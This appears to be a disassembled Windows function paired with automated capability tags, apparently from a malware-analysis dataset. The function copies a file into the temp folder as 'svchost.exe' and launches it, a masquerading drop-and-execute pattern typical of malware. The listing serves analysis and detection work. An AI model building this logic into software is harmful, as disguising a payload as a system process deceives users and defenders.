Function at 0x140001620
Capabilities:
Copy file
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x120]
sub rsp, 0x220
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x110], rax
mov r14, rcx
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp]
call fcn.140010280
lea rdx, [rbp]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xor r15d, r15d
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], r15
lea rax, [rbp]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], r15b
jne 0x140001696
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x1400018ed
cmp rbx, 0xf
ja 0x1400016e0
mov qword [rsp + 0x78], rbx
mov qword [rbp - 0x80], 0xf
mov r8, rbx
lea rdx, [rbp]
lea rcx, [rsp + 0x68]
call fcn.140010640
mov byte [rsp + rbx + 0x68], r15b
jmp 0x140001777
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x140001719
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140001d80
test rax, rax
je 0x1400018e1
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001756
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140001736
mov rsi, r15
jmp 0x140001756
cmp rcx, 0x1000
jb 0x14000174e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400018e7
jmp 0x1400016fa
call fcn.140001d80
mov rsi, rax
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x78], rbx
mov qword [rbp - 0x80], rdi
mov r8, rbx
lea rdx, [rbp]
mov rcx, rsi
call fcn.140010640
mov byte [rsi + rbx], r15b
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rbp - 0x80]
mov rax, rdx
sub rax, rcx
cmp rax, 0xb
jb 0x1400017c2
lea rax, [rcx + 0xb]
mov qword [rsp + 0x78], rax
lea rbx, [rsp + 0x68]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x68]
add rbx, rcx
mov r8d, 0xb
lea rdx, str.svchost.exe
mov rcx, rbx
call fcn.140010640
mov byte [rbx + 0xb], 0
jmp 0x1400017da
mov qword [rsp + 0x20], 0xb
mov edx, 0xb
lea rcx, [rsp + 0x68]
call fcn.140001ac0
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rdx, qword [rsp + 0x68]
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CopyFileA]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rax
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x1400018b5
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400018e1
call fcn.140001dbc
mov rcx, qword [rbp + 0x110]
xor rcx, rsp
call fcn.140001d60
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140007e00
int3
call fcn.140001180
int3
call fcn.140001220
int3